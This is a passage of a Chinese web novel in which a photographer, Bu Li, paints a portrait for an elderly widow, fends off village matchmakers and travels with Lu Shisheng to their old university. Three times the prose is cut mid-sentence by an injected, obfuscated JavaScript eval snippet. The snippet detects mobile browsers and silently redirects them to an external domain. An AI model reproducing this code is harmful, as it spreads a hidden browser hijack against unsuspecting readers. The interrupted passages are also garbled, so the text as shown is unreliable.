早上的望潮木工坊人不多,步梨进门的时候,崔胖正坐在前台嗑瓜子,见到她后眉飞色舞地道:“早啊,步梨姐。” “早,陆时生呢?”步梨进门就问。 崔胖指了指,“屋里呢。” 步梨点点头,离开的时候顺便把他手里的半袋瓜子占为己有,“别吃了,不是减肥吗?” 她走到里屋去,陆时生正在做早饭,步梨敲了敲门,问道:“陆叔不在家?” 陆时生转头,没料到她这么早会过来,惊讶了一瞬,答道:“哦,他这几天不在。” 步梨闻到了煎蛋的香气,走到跟前,果然看见金黄的煎蛋刚刚出锅,还是流心的,“我能拥有一个吗?” “有什么事吗?”陆时生问。 没得到同意的答案,步梨失落地坐到一边,说出了自己来这儿的本意。 “昨天吴奶奶说,陆叔是她的学生,那毕业的时候,有没有师生合影留念?” 陆时生手里的动作停了下,思考一会儿,说:“可能有吧,怎么了?” 步梨开心地站起身,打开手机给陆时生展示她今天早上的大作,“那能找到吗?你看看这个,画得怎么样?” 陆时生垂着眼皮看了两眼,淡淡问道:“你画的?” 步梨得意地点点头,“是不是可以用栩栩如生来形容?” 陆时生不可否认那幅画确实很生动,比照片的色彩还要艳丽几分。 “你是想找找程老师的照片,然后再给程老师和吴奶奶画一张合影吗?” 步梨惊叹道:“你真懂我,我记得吴奶奶在车上念叨了好几次想和她老伴儿一块拍照,毕竟生活了一辈子的人,到最后也没留下个合影,挺遗憾的,我想尝试帮她完成一下这个愿望。” 陆时生只听到了她的第一句话,有些不好意思地别过头,又拿了个鸡蛋放进锅里开始煎,步梨数了数,这是第三个,笑着道:“这是我的吧?” 陆时生故意逗她,“不能允许有人吃两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494265|168336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个?” 步梨道:“可以,我就吃两个!” 陆时生无奈地摇了摇头。 步梨也没客气,早饭直接留在了这里吃。 吃完后,俩人一块去了里屋,在一个狭小的仓库里找老照片。 “我画画技术不错吧。” 步梨还记得吃饭前她给陆时生炫耀自己画作的时候,陆时生没什么反应,也没给出评价,她于心不甘,现在跟个小孩一样求表扬。 “挺好。” 陆时生的回答并没有满足步梨的诉求。 “就这样?” 陆时生当她在尬聊,配合道:“就...挺好。” 步梨叹了口气,估计他也不会别的词儿。 她作罢,换了个话题,“你说都过去几十年了,老照片还能找到吗?” 陆时生道:“应该可以,我去年打扫房间的时候好像见到过一次,不过印象不深了,当时没在意,就随手放了个地方。” 步梨催促道:“那你快想想随手放在哪了。” 陆时生叹气,“都是随手放的了,哪还能记得住?” 步梨也学他叹了口气,“看来你不仅失忆了,脑子也不好使。” 陆时生也不知什么时候蹭到了她边上,忽的站起来,对着她的脑子按揉了两下,走了,留下一句,“彼此彼此。” 步梨脑袋顶的头发整个被他按得炸了毛,人也炸了起来,“我可没有!” 正还要怼他几句,陆时生忽然开了一个箱子,看了会儿,抬眼:“找着了。” 步梨愣了下,小步跟过来,“我看看。” 陆时生从箱子里拿出一个相册,是那种老式相册,四四方方跟那种老式电视机一样大,封面是一副蝴蝶流连于花丛之中的风景画,色彩已经褪了大半。 打开后,里面有很多张照片,看起来都经过了时间的洗礼。 相册第一页就是一张光屁股的小孩,咧嘴笑得很开心,步梨也不禁跟着笑起来,问道:“这是不是你小时候?真喜庆。” 陆时生没给她太多机会细看,飞速翻到了下一页,步梨伸着脖子努力去看。 “这是陆叔年轻时候吗?很帅气啊,这是你妈妈?”她指着陆望潮身边笑容灿烂的女士问道。 陆时生模棱两可道:“应该是,我也没印象。” 步梨惊讶,“你连你妈妈都没印象了吗?” 陆时生点点头。 不仅没有印象,甚至看着有些陌生。 步梨沉默了一会儿,安慰道:“没事,这不是有照片吗,你多看看,以后慢慢的肯定会想起来的。” 她还在想着要怎么组织语言多安慰安慰,但抬眼见陆时生本人倒是没什么感情波动,他似乎已经习惯了这种记忆空白,只是机械地翻着相册,几乎到了相册的最后几张,陆时生才停下来,从里面抽出一张大合影。 照片最上面写着“XXXX年花溪镇小学四五六年级师生合影留念”,“这个就是程老爷子,这个是吴奶奶。” 步梨看完说道:“程老师年轻时还挺帅气的。” 陆时生把照片交到步梨手里,“给,把年轻帅气的程老爷子和年轻美丽的吴奶奶还原出来,这个艰巨的任务就交给你了。” 步梨郑重接过,中二道:“保证完成任务。” 她看了眼照片,目光流转间撇到陆时生正要合上的箱子,里面有个她很熟悉的物件。 “诶?你怎么会有这个?” 她看见的是一个校徽,红色的圆形框是抽象派的大树和展翅飞翔的鹰,代表着向上与求知。 东岛大学的校徽——步梨的母校。 30. 大学 从陆时生那边回来,步梨便一头扎进了画室开始临摹。 整个一上午也没来顾客,正好给了她画画的时间。 冯雅贴心地给她送了水,见到她的画作,不禁惊叹,“步梨姐,你画得真是神了,就跟真的一样,虽然我也没见过吴奶奶和程爷爷年轻时长什么样,但你画得真的太好看了吧,这人物也太立体了,和景色融合得也好,颜色搭配得也惊艳,比那副叫什么来着,《蒙娜丽莎》的画还好看,肯定能卖不少钱。” 步梨被她逗得噗嗤一笑,“开什么玩笑,《蒙娜丽莎》可是世界名画。” 冯雅不好意思地撒娇道:“人家就是想找个什么来对比一下,其实我也不知道都有什么画,不过,步梨姐,你要是加一个给人画肖像的业务,肯定能赚不少钱呢。” 她嘴甜会说话,情绪价值拉满,和陆时生相比简直一个天上一个地下。 步梨被她哄得合不拢嘴,摆摆手道:“什么钱不钱的,这只是我的爱好,要是一天催着我必须给几个人画画,我反倒不乐意了。” 冯雅附和道:“说的也是。” 这一大半天她没看手机,微信里冒出了99+条消息。 点开后是大学的班级群在热聊。下个月也就是6月10日,是东岛大学建校100周年的校庆,欢迎各届的校友回学校观看校庆演出,好多同学都在群里说要回去为母校庆生,所以班长打算在校庆完过后组织一场班级聚餐。 步梨看着班级聚餐这几个字,思绪被拉回一年前。 那时她刚回国工作一年,本科的同学也大多工作了,只有个别的还在读博深造。 步梨在群里也跟着回了个“OK”,消息刚发出去,就收到了一位老同学的私信。 老同学叫安宏远,上学时成绩很好,步梨和他都在登山社里待过,一起吃过几次饭,不过是很多人的那种大型聚会。 后来步梨去了国外读硕士,两人就很少联系了,只听说他也出国了,去的是澳洲,大概是见她在群里发言了,好久没联系过来寒暄几句,算是为校庆后的聚会见面预预热。 安宏远:“哈喽步同学,好久不见了,最近怎么样?” “挺好的。” 步梨回了几句,简单和他寒暄了几句,又聊了些校庆回去的事情,安宏远表示很期待校庆当日的见面,还发了句“一定要来啊。” 步梨笑着回了个,“当然。” 冯雅见她面若桃花春风得意的模样,凑上去想看步梨的手机,被步梨发现,诡计没有得逞,她笑嘻嘻地问到:“步梨姐,有好事?” 步梨淡淡道:“有啊,下个月10号,你放假。” ....... 吴奶奶和她老伴儿的情侣画作,步梨画了三版,最后才算满意。 完成之后,她问了吴奶奶家的住址,亲自送货上门。 下午吃完饭的时间,吴向荣家里还有一位老太太在,两人在吃点心聊天,见到步梨来了,老太太眯缝着眼将她从头到脚打量了一遍,脸上露出满意的表情,笑呵呵道:“这是陆家的儿媳妇?” 吴向荣也笑了两声,拍了一把她的大腿,“一把年纪了嘴上没把门的,人家姑娘还没过门呢,得叫准儿媳妇。” 几句话下来,步梨的脸一会儿青一会儿黑,反正就没正常过。 吴向荣笑着看向步梨,“小步,这是住隔壁的谢老太,我俩是老闺蜜了,她这人说话太直接,你别介意啊。” “丫头多大啦,叫什么名字?”谢老太太问道。 步梨挤出一个礼貌的微笑,“谢奶奶好,我叫步梨,今年二十六了。” 谢老太太撇撇嘴,“步梨啊,好名字,长得也俊,陆家那小子福气可真大。” “吴奶奶,谢奶奶,我和陆时生就是正常的朋友。”步梨赶紧转移话题,“吴奶奶,您看我给您带了什么。” 她走过去,从画夹里把她临摹的吴向荣的照片拿了出来。 吴向荣低头一看,眼珠子都快要贴到画上,吃惊道:“诶呀,这是我?” 步梨道:“是,按照您年轻时的样子画的。” 谢老太太也感叹,“向荣啊,你年轻时这么好看?” “那是。”吴向荣得意道。 “还有这个呢。”步梨这才把重头戏拿出来,惊喜留在后面。 时光仿佛倒流回几十年前。 吴向荣目光定在画上,人有些颤抖,半晌,才张了口,“像,太像了,这就是我和老程年轻时的样子。只可惜他看不见了。” 步梨笑笑:“奶奶,您看见,就等于他看见了。” 吴向荣热泪盈眶,指尖慢慢划过老伴的面颊,仿佛触碰到了真实的老程,她和自己的爱人站在广阔的湖边,迎着和煦的春风,牵手,相拥。 过了会儿,吴向荣又轻声道:“小步啊,真是.......太谢谢你了。” 步梨觉得她这几天没白忙活,这一刻不仅仅是吴奶奶,她自己的内心也得到了极大的满足,是一种自我价值的肯定,无关时间与钱财。 走之前,吴向荣给她拿了好大一包新鲜的烤鱼片,还把人一直送到大门口。 一股油炸食物的香气传入鼻腔,步梨吸了吸鼻子,奇怪道:“好香啊。” 吴向荣哈哈笑了量身,“估计是小菲家的炸鸡又出锅喽。” 步梨问道:“是菲姐的炸鸡店吗?” “对啊,前面那家就是。” 步梨望了望,“原来在这儿啊。” 谢老太道:“小步你知道吗,陆家那小子,可是天天被那小菲惦记着呢,现在这男的但凡长得周正点,就有好些小姑娘喜欢。” 吴向荣接过来道:“没事,我看就小步和陆家那小子般配,你放心,我们帮你盯着。” 步梨:“......” 又来这出。 “不用了,我跟他真没什么的。” 吴向荣劝道:“试试呗,放心,小菲追陆时生都几年了都没成,这俩人没缘分。” 谢老太摇头苦叹:“要不是前几年出了车祸,把孩子给耽误了,陆家的小子应该也结婚了。世事难料啊,不过现在他们家日子也过起来了,欠的债基本上都还完了。” “之前出过什么事?”步梨问。 “望潮考上大学后回来,一直在市里工作,七年前他们一家开车出门,遭了车祸,他老婆直接就没了,陆时生那孩子昏了两年,原以为醒不过来呢,谁知睡了两年,人竟然醒了。” “对啊,肯定是祖上积德了,就是这两年又是治病又是住院的,花了不少钱,把市里的房子车子都卖了。”谢老太插言道。 吴向荣接着道:“后来望潮就领着时生回镇上老房子住了,时生除了腿上有点毛病,跟正常人一样。” 步梨心中情绪翻涌,“他身世还挺坎坷的。” “是啊,”谢老太跟着叹了句,“不过你要是看不上陆家的,我这儿倒是有个好的,他二婶家的老大,在县城上班呢,一表人才,人也靠谱,怎么样小步,我帮你联系联系?” 步梨笑着拒绝:“不用了谢奶奶,我现在专注搞事业呢。” 吴向荣也愤怒地打了谢老太一下,“别瞎牵线了,陆家的就挺好。” 步梨笑着附和了两声,觉得这天不能再聊了,于是匆匆道别。 鬼使神差的,她特意绕路去看了眼菲姐的炸鸡店,是一家装修很精致的店,粉蓝色的色调很是温馨可爱,和菲姐平时的作风形成巨大反差。 可以看出,菲姐在很用心地经营这家店,女强人的心里也住着一位萌系少女。 好巧不巧,步梨在店门前见到一个熟悉的身影,从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504245|168336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一辆红色小轿车上下来。 那车她之前还坐过,和小孩们去县城玩密室大逃脱的时候,陆时生就是开着这辆车去接她的,这次从车里下来的,依旧是陆时生。 陆时生关了车门,转身时目光瞥到了步梨,顿了一刻,往这边走了两步,“站这儿干嘛呢?” 步梨道:“路过,你又借菲姐的车?” 陆时生点点头,“去县城帮桂香奶奶取了点药。” 步梨哦了一声,说道:“我也有车,你下次可以借我的。” 陆时生轻笑一声,“还有抢着把车借给别人的?” 步梨移开目光看向别处,“我就是提醒你一下,所以你为什么总借菲姐的,不借我的?” “行,我借习惯了,忘了你也是车主。”陆时生指了下炸鸡店门,“吃炸鸡吗?请你。” “现在?”步梨惊讶。 “过了这村就没这店了。” 步梨撇撇嘴,“我不过村。” 陆时生笑,“我是说,下次我就不一定请客了。” 步梨抬脚往店门走,“走吧。” 炸鸡店的店面不大,但里面干净整洁,店里生意不错,有好几桌人在吃饭聊天,步梨进去后,随便选了个位置坐下。 赵菲出来见到这两个人一块过来,愣了一下,才走过来。 “望潮木工坊和写真馆是要合作吗?怎么两位大老板一块光顾小店了?” 赵菲笑着道。 陆时生道:“路上碰到了,对了,车给你停外面了,这是车钥匙。” 赵菲撇撇嘴,语气有些酸,“碰到了就一起吃饭啊。” 步梨笑着解释了句,“是之前他欠我的。” “哦,看来之前纠葛不少啊。”赵菲淡淡道。 步梨扯了下嘴角,觉得她越描越黑,干脆没再说话,点了份双拼口味的炸鸡和薯条。 菲姐收了菜单,没急着去厨房,目光在陆时生身上走了一遍,不满道:“我听说你还帮步老板拍了写真样片,怎么不来帮我干干活?” 陆时生淡淡一笑,“这不今天来照顾一下菲姐的生意吗?” “切,油嘴滑舌的。”赵菲翻了个白眼转身走了。 步梨小声呢喃了句,“她好像不太高兴。” 陆时生泰然道:“来她店里消费,有什么不高兴的。” 步梨知道他在揣着明白装糊涂,但也没多说。 很快一大盘炸鸡端了上来,刚出锅的还很烫,菲姐虽然不乐意他俩一起来,但炸鸡的量一点都没少给,步梨戴上手套拿了一块放嘴里,外皮酥脆,鸡肉也很嫩,咬一口鲜美多汁。 “我上一次吃到这么好吃又实惠的炸鸡,还是在东岛上大学的时候,学校边上也有一个炸鸡摊,不知道现在还开没开。” 她嚼了嚼,咽下,又问,“陆时生,你是不是也是东岛大学的学生?” 陆时生皱了下眉,“可能?但我一点印象没有,我爸也没跟我说过,我还以为我没上过大学,或许,那是我爸的或者别人的。” 步梨道:“你家也没别人,而且也不大可能是陆叔的,那校徽很新。” 陆时生淡淡道:“上没上过都一样,反正也不记得。” 两人聊了没两句,步梨不太喜欢油腻的东西,吃了几块就觉得有点腻,没再动了。陆时生接了个电话,步梨听了几个音,好像是崔胖喊他回店里。 她把剩下的炸鸡打包,让陆时生带回去给崔胖。 临走前,赵菲忽然叫住她,“步老板。” 步梨转头,听见她说了句没头没尾的话,“你们是两个世界的人。” 步梨愣了两秒才反应过来赵菲在说什么,她笑了笑,漫不经心回:“都是一个村的,哪里两个世界?” 赵菲僵了片刻,再回神时,门口已经没了人。 31. 老奶奶情报团 步梨回到家已经临近傍晚,远远地,她望见家门口站了两个人,一男一女,聚在门口似乎在商议什么,过了会儿,女生拿起摄影机,开始对着男生拍。 见有人过来,女生收了摄像机,很和善地向步梨解释道:“我们是来旅行的,看到这里有个很漂亮的房子,所以想拍视频记录一下,你是本地的吗?” 步梨点点头。 女生一听,趁机向她打听道:“那你知不知道这个房子,我听说这是栋鬼屋,有人在这里看见过里面有女鬼。” 步梨太阳穴跳了跳,咬着牙问出一句,“在哪听说的?” 都这么久了,怎么村里还有人提这个事儿?该不会是崔胖那个臭小子吧! “那边有个炸鸡店,店里一位挺漂亮的大姐姐跟我们说的,原本我们想来拍一套写真,但到了花溪镇,却听说这写真馆之前是鬼屋,这到底是不是鬼屋啊?” 步梨心情复杂,菲姐这笔账她在心里可是记下了。 “你们看着像吗?”步梨做了个鬼脸,压低声音道,“我就是这的老板,女鬼老板。” 女生真被吓了一跳,下意识握了握男生的手。 步梨笑了一声,摆摆手说道:“开玩笑的,要拍照吗?” 女生迟疑地问:“所以这里不是鬼屋?” 步梨一边开门一边说:“放心吧,这里是我的写真馆,拍写真可以来,你们如果想鬼屋探险的话就算了,没什么好探究的。” 女生有些犹豫地问男生:“成哥,拍吗?” 男生安慰道:“来都来了,拍两张吧,她有影子,所以应该是人,不是鬼。” 女生恍然大悟,将心放到了肚子里。 进了屋,步梨给两人倒好了茶水招待。 男生颇为抱歉地说了句,“不好意思,一场误会。” 女生端着茶杯视线将四周打量了一遍,感叹道:“这是你的房子吗?真好看,一点也不像鬼屋。” 步梨道:“是我的,你们是从哪里听说我的写真馆的?” “我们住在一家叫渔家调的民宿,旁边酒馆里有个驻场的歌手说的。” 步梨惊讶道:“原来是阿水。” 两人看了样片后,很爽快地交了现金,男生在合同上签字时,步梨见到他的名字叫周成,旁边那名女孩则是叫庄梦迪。 庄梦迪问道:“我可以用手机拍一下这里吗?” “可以。” “那一会儿拍写真的过程,我可以录一下吗?” 步梨道:“可以,我也可以喊我的助理来帮你录。” “太好了,感谢。”庄梦迪道。 步梨把冯雅喊了过来,简单交代了一会儿她需要做的事。 庄梦迪和周成两个人一边看样片,一边小声商量,整个过程大多是庄梦迪在说,周成在听。 他性格看上去很柔和,庄梦迪说什么,他都会淡淡地说可以,但他好像身体不太好,带了点病态感。 过了一会儿,两人选好了,庄梦迪把目光看向步梨,“可不可以在这套风格的基础上,稍微做些改变?” 她指的是一套天台的外景。这套外景风格寡淡,透着忧伤与压抑,步梨在设计地时候还掺杂了些暗黑与暴力美学,风格小众,鲜有人拍。 庄梦迪继续说道:“我们想让照片后期的风格可以更暗淡一些吗?然后这张照片,人是一半在阴影里一半在阳光下,对比可以更明显一些吗?” 她看得很仔细,每一张都认真地提出了自己的修改想法,步梨有种让甲方看自己设计稿的感觉。 许是觉得自己的要求过多,在庄梦迪说完后,周成又补了一句,“不好意思,我们要求可能有点多,如果太麻烦,可以另付钱。” “不用的。” 步梨笑了笑,虽然感觉两人在要求上确实有些过于多,但她总有种感觉,这两人身上有一种与常人不一样的情感,似乎带着某种执念。 那种执念虽然很强烈,但在交谈的言语间,却有一种洒脱感,给人的感觉也只是“我只是提出来,你可以满足,也可以拒绝”,这种感觉很特别。 所以步梨打算认真听取他们的想法,同时也给出了自己的一些建议,在照片里加入一些虚化、破碎的元素。 定好这些后,时间已经不早了,天边是血色的夕阳,一点点浸染渗透地平线,然后又渐渐消散,褪去,最终步入虚无。 日光暗淡,蛰伏已久的夜幕迅速压下来。 接着阴暗的光线,步梨按下最后的拍照键,完成今日的拍摄。 庄梦迪很喜欢这组照片,说了好几次感谢。 “真感谢你,这组照片很符合我们的预期。” 她又看向周成,笑嘻嘻地提议道:“‘花溪镇的鬼屋写真馆里,女鬼老板给我们拍了人生的最后一组写真’,用这个主题怎么样?” 周成柔和地笑了笑,“真有你的,你得问问老板同不同意。” 步梨笑了两声,摆摆手道:“随你吧。” 她也不是本着服务顾客的准则才答应的,只是真的觉得庄梦迪很可爱,她很瘦很白,眼睛大大的,当她眨着眼睛水灵灵地看向你时,很难拒绝她的请求。 步梨申请道:“可以给我看看你们的账号吗?” “可以,叫庄周梦蝶。” 步梨在手机搜索栏轻轻敲了几下,最上面有一个粉丝有三十多万的账号,头像便是周成和庄梦迪,她点进去往下看了两人之前的视频,都是去各地旅行的记录,天南海北,很多小众的地方,看起来他们的生活有趣又充实。 最后她回到最上方,要退出时才看到账号主页上的简介,癌症晚期病友,和小迪一起记录生命最后的日子。 简短的几句话,好像是一根根刺一样扎进步梨的心里。 原来庄梦迪刚才说的“最后一组”,并不是为了配合鬼屋这种字眼故意夸张的说法。 这时候她才终于明白这两个人身上和常人不一样的感觉是什么了,是离死亡太近故而对世上一切都不太在乎的洒脱。 临走前,庄梦迪把一张打印出来的照片送给了步梨,步梨裱起来挂在了宣传墙上,并给这组照片想了一个主题叫:“生与死的距离”。 ... 次日。 晨光明朗,橙红的朝阳一点点从地平线冒出头。 一大早,步梨就收到了吴向荣的消息。 “小梨子,我瞅着小菲往望潮木工坊去了,你要不要也去一趟?” 这条消息是三十分钟之前发的,时效已过,步梨便只回了个哈哈的表情。 过了会儿,手机又响了一声。 她被莫名其妙拉了一个群,群名叫“梨子的情报团”,群里有三个人,除了她和吴奶奶,还有一个头像是荷花的人,名字叫知足常乐。 知足常乐:“梨子,目标在菜市场。” 步梨很快猜出来,这肯定是谢奶奶。 步梨哭笑不得,想着假装没看见,过一会儿再回复。 “梨子,目标去炸鸡店了,进去时还提着东西,出来就没了,肯定给小菲了。” “梨子,目标在中心大街移动。” “梨子,忙着呢?” 步梨不得不回了个表情,“在收拾房间。” 知足常乐:“现在时生那小子回家了。” 步梨认真打了一行字:“辛苦奶奶们了,我对陆时生没什么的,也不太关注他的行程。” 知足常乐:“得关注,丫头,勇敢点,加油!” 还跟了个微笑的表情。 步梨单手扶额。 吴奶奶:“梨子,抽空来趟家里啊,大壮家的送来了不少海货,我一老太太吃不完,你来取点,不然坏了。” 又补了句,“中午前过来。” 步梨没法儿,只得骑了小电车到了吴向荣家里。 吴奶奶忙里忙外地准备了不少当地的海货特产,仔细地打包好后严严实实地装到步梨的小电动车上。 “吴奶奶,您上次给我的烤鱼片还没吃完呢。” 吴向荣又往她电动车筐里塞了满满一大袋蛤蜊肉,“不一样不一样,烤鱼片当零嘴吃,这回的蛤蜊新鲜着呢。” “谢谢吴奶奶。”步梨道,“可我吃不完这么多。” 吴向荣笑呵呵道:“吃不完正好给别人一点。” 步梨:“啊?给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519516|168336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁?” 吴向荣又从屋里拿了一个纸盒子塞到步梨手中,若有深意地笑道:“正好你再帮吴奶奶一个忙。” 步梨笑容一僵,有种不好的预感,果然听到吴奶奶道:“你去帮我寄个快递。” 步梨:“......” 就知道...... 不过吃人最短,拿人手短,吴奶奶又岁数大了,她帮忙去寄一下也是应当,步梨问好了收件人的电话地址,然后载着一大包蛤蜊和一个纸盒子去了望潮快递站。 隔着落地的玻璃窗。步梨见到屋里陆时生忙碌的身影,瘦瘦高高的,在快递架之间徘徊,这身影穿过透明的玻璃窗,借着昏黄路灯的光,映进步梨的瞳孔中。 步梨蓦地停住脚步,心想或许吴奶奶和谢奶奶说得没错,她应该勇敢一点。 她从没想过有一天自己会回到花溪镇的老屋里,会在这里遇到陆时生,既然上天这么安排,那便是命中注定的缘分。 傍晚与深夜交界时刻的氛围总会带着别样的留恋与暧昧。 步梨抬脚走进门,和陆时生正好碰了个对面。 步梨晃一晃手里的纸盒,说道:“寄快递。” 陆时生指了下货架上贴着的破旧二维码:“扫码就行。” 步梨对寄快递的流程很熟悉,很快下好单,把陆时生喊了过来,陆时生一边帮她打包,目光看到被步梨放在脚下的大黑塑料袋,“你拿的这是什么?” “你喜欢吃什么?”步梨问了个没头没尾的问题。 陆时生一头雾水,还没答,步梨又笑呵呵地问:“喜欢吃蛤蜊吗?” 陆时生了然,“谁送你的?自己不会做?让我来帮忙?” 步梨道:“我是来送给你的。” “送我?”陆时生露出不信的表情。 步梨认真道:“是吴奶奶送我的,她很喜欢我给她画的画,又是送我烤鱼片,又是送我了蛤蜊,她说这个蛤蜊很新鲜,用辣椒酱炒一下就行,我会做,但我还是想分你点一块吃。” 陆时生眉眼一弯,笑道:“行,等我忙完就去做,你自己找地儿坐着等会儿。” 他这是让步梨留下来一块吃饭。 “你出过门吗?”步梨问完,就见到陆时生皱着眉头看过来,脸上明显写着“谁没出过门”几个大字,便换了种问法,“我的意思是,如果你不在店里,这些快递怎么办?” “有崔胖呢,再不行找人帮忙,怎么了?” 步梨笑着耸了耸肩,“没事,就是我6月会回一趟东岛大学参加校庆,到时候,你的店就让崔胖来看吧。” “我?”陆时生顿了顿,“谁说我要去东岛?” 步梨尴尬地咧了咧嘴,缓缓说道:“如果你也在东岛大学上过学,去了那边,说不定可以想起一些之前的记忆。” 陆时生有东岛大学的校徽,就说明他也是东岛大学的学生,回学校看看,周边都是曾经熟悉的环境,很可能会刺激到他大脑的记忆神经,回想起过去的事。 陆时生笑了句,“我小时候在花溪镇也待过很久,到现在还是一点儿都没想起来。” “那不一样,小时候的事儿离现在太远了,上大学时发生的事儿还比较新鲜的,容易想起来,”步梨说着,见陆时生没什么表情,欲言又止,“你想不想跟我一块......” “人呢?结账了。”外面传来一个老头的喊声。 “来了——”陆时生放下碗筷忙起身过去。 再回来时,步梨已经吃得差不多,他坐下,把碗里最后一口米饭吃完,见步梨也不动筷子了,便起身,把两人的碗叠在一起拿去水池。 水声哗啦啦地响,陆时生洗碗时,回头看了她一眼,继续方才的话题,“刚说到哪了?” 步梨坐在小板凳上没动,过了会儿,她鼓起勇气,大声问道:“6月9号,你能不能跟我一起去东岛?” 空气里瞬间一片寂静,陆时生关了水龙头,背对着步梨,看似是在用洗碗布擦碗,其实是在发愣。 步梨有点紧张,又有点后悔。 过了会儿,陆时生转过身来,把桌上的饭菜也收走了,顺便给步梨留下一句:“不去。” 32. 疯狂的事 陆时生一句“不去”,没给步梨带来多少失望,反而是早有预料,步梨不仅没退缩,反倒生出一股愈挫愈勇的执着。 她也没多说什么,只说了句:“先回了。” 然后从旁边的柜子上顺了包薯片,回家去了。 陆时生在原地愣了愣。 就这么走了? 说了这么两句就走,看来也不是诚心邀请。 他站了会儿,默默弯腰把桌子收拾完,然后去结账台坐下,打开手机的售票软件,在搜索框输入了“东岛”两个字。 ...... 接下来几天,梨子的情报团群聊一直在发布最新动态。 步梨一改之前的抵触,顺了两位老人的心意,也顺了自己的心意,根据群里发布的情报去找陆时生。 “梨子,目标在老张理发馆。” “梨子,目标在菜市场,海鲜摊位。” “梨子......” 反正陆时生在哪,步梨很快就会随后出现,在卖鱼老板复杂的目光之下,热情地帮忙付了买鱼的钱。 陆时生一脸疑惑地看着步梨,“干嘛?” 步梨朝他眯了眯眼,一双好看的杏眼笑成了月牙,“好巧啊,晚上去你家吃。” 陆时生似乎不太满意,但也没说把钱还给步梨的话,直接拎袋走人,“那也用不着你付钱。” 连着一周下来,步梨才意识到自己做了很疯狂的一件事,此时已经是开弓没有回头箭。她今晚还有一件吴奶奶交给她的重要任务要做。 晚上7点,在中心广场,村委会给大家放电影,吴奶奶让她提前去占一个好位置,还特意制定了在大柳树下的阴凉地。 步梨搬着小板凳,早早就来了广场占位置。 她坐下来,四面张望了一番,终于在电影要开始之前,她看到一个瘦高的身影从街角出现。 步梨朝他招了招手,“陆时生?你怎么也来看电影?” 陆时生把板凳放下后,人没坐下,“来帮谢奶奶占个位置。” “占座来得也太晚了点吧,”步梨坐在小板凳上仰视着他,见他没有坐下的意思,伸手拽了下他的衣角,“坐下聊会儿?” “谢奶奶不会来的。”步梨直接道,“她跟吴奶奶一块织毛衣呢。” 陆时生愣了一会儿,坐了下来。 步梨没跟他废话,直接又将上次的问题问了一遍,“要不要跟我去东岛?” 陆时生看了她一眼,“你这些天这么反常,又是寄快递,又是帮我结账,就是为了让我跟你去东岛?” “啊,嗯,”步梨承认。 她听到陆时生像是笑了一声,有凉爽的风吹过来,把声音打散了几分,紧接着,风吹过,低沉的声音传入耳中,“多此一举。” “什么?”步梨没太明白,但这次,她为了说服陆时生跟她一块去东岛,已经做好了充足的准备,“因为......” 她想了几个理由,包括“在东岛上学那会儿,树敌不少,结了几个仇家,一个人不安全,需要保镖”,包括“有一家很想去吃的餐厅,双人餐才最合适”,但步梨把这些理由说出来之前,陆时生已经开了口:“行。” 步梨有一种学了一身本领却无处发挥的憋屈感。 “你怎么忽然改主意了?” 话落,一道亮光照过来,大荧幕亮起来,电影开始的那段声音响起。 陆时生淡淡道:“没什么,想去找找之前的记忆罢了。” 步梨觉得这根本不是原因,她第一次就说过这事儿了,陆时生当时不也没答应? 只能说他是个让人捉摸不定的男人。 ...... 6月9日,上午10点,万里晴空。 步梨和陆时生一同坐火车到了东岛。 路程不算长,将近四个小时的车程,看看风景再睡会儿觉,很快也就过去了,只是这时节东岛的天气不算好,几乎每天都要下一场雨,或大或小。 步梨和陆时生下火车的时候,正好赶上一阵急雨。 这雨说来就来,开始就只是零星小雨落下来,还没等人把伞找出来,天空就跟某个地方漏了水一般,大雨倾盆而下,两人到酒店的时候已被浇了个透,跟逃荒过来的没两样。 酒店是陆时生选的,位置就在东岛大学旁边,担心步梨住不惯,陆时生特意选了一家五星级的酒店,等到了选个普通的房间,费用不至于太高,而且卫生条件可以保障。 这不是两人第一次办理入住,整个流程走下来,没了第一次的拘束与别扭,两人都是落落大方,坦然平静,只是前台的服务员态度欠佳,大概是看两人穿衣打扮太过狼狈,她动作慢腾腾的,开口也带着几分冷淡。 “身份证,一起的?” 步梨道:“嗯呢,要两间标间。” “押金600。” “我来吧。”陆时生先步梨一步拿了现金直接递过去。 服务员将六张红色票子在验钞机上刷刷验了两下,丢过来了两张房卡。 步梨刚拿到,身后响起了一道声音。 “步梨?” 步梨闻言回头,见到来的人恍惚了一瞬才想起她的名字,“曹卉?你也住在这儿?” “对啊,这儿离学校近嘛,好巧啊。” 